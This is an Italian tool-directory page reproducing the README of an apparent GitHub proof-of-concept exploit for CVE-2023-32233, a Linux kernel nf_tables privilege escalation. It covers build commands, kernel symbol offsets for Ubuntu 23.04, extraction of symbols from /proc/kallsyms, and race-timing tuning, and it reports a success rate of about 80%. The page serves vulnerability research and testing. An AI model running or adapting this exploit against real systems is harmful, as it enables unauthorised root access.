Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-32233 — CVE-2023-32233: Vulnerabilità di sicurezza nel kernel Linux | Kitploit
Strumenti/GitHubGitHub/liuk3r/cve-2023-32233
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Vulnerabilità di sicurezza nel kernel Linux

Vedi Repository
382783 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Compilazione e Configurazione

Le istruzioni riportate di seguito sono state testate su Ubuntu 23.04 (Lunar Lobster).

GIF 2023-5-16 12-28-46

Installazione delle Dipendenze di Compilazione

Eseguire il seguente comando per installare le dipendenze di compilazione:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

Compilazione del Binario

Eseguire il seguente comando per compilare il binario del PoC:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Aggiornamento del Profilo

Il profilo integrato contiene parametri specifici per il kernel Linux distribuito in forma binaria come i seguenti pacchetti di Ubuntu 23.04 (Lunar Lobster):

  • "linux-image-6.2.0-20-generic", versione "6.2.0-20.20", e
  • "linux-modules-6.2.0-20-generic", versione "6.2.0-20.20".

Il profilo integrato si presenta così:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

Simboli del Kernel

Passaggi opzionali per sovrascrivere il profilo integrato quando si testano altri kernel Linux:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

Codice Macchina

Per trovare la base del kernel esaminiamo l'immagine di nf_tables.ko nella memoria del kernel. In particolare, analizziamo il codice macchina della sottoprocedura nft_counter_destroy(). Questo significa che il nostro metodo è sensibile al compilatore e alle opzioni di compilazione. Tuttavia, tutti i casi usuali possono essere gestiti sovrascrivendo il profilo integrato.

Ad esempio, il codice macchina della sottoprocedura nft_counter_destroy() può apparire così:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

Nel caso precedente possiamo specificare alcuni parametri aggiungendo le tre righe riportate di seguito al file di configurazione "profile".

Innanzitutto, ridefiniamo l'offset del dword che precede lo spiazzamento di free_percpu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

dove il valore 5 è stato calcolato usando l'espressione (1e31d - 1e310) - 8.

Come controllo di integrità, validiamo quindi il dword all'offset sopra indicato usando la seguente maschera:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

aspettandoci il seguente valore:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

Ottimizzazione della Race

Sfruttare la vulnerabilità richiede di vincere una race contro il thread worker in background del kernel Linux. Il profilo integrato è stato ottimizzato per massimizzare la probabilità di vincere quella race su un'ampia gamma di microprocessori Intel, inclusi i mobile Sandy Bridge e i desktop Comet Lake. Tuttavia, alcuni microprocessori richiedono un'ottimizzazione aggiuntiva. Ad esempio, abbiamo osservato una latenza maggiore nel cambio di attività su Alder Lake in determinate configurazioni, dove potrebbe essere necessario aggiungere la seguente riga a "profile":

root@kitploit:~
400                 race_lead_sleep

Abbiamo misurato una probabilità dell'80% o superiore di sfruttare con successo la vulnerabilità nei nostri test che utilizzavano sistemi bare-metal inattivi.

Raccomandazioni per i Test

Una volta avviato il PoC su un sistema vulnerabile, questo potrebbe lasciare il sistema in uno stato instabile con memoria del kernel corrotta. Raccomandiamo vivamente di testare il PoC su un sistema dedicato per evitare potenziali corruzioni dei dati.

Scarica lo strumento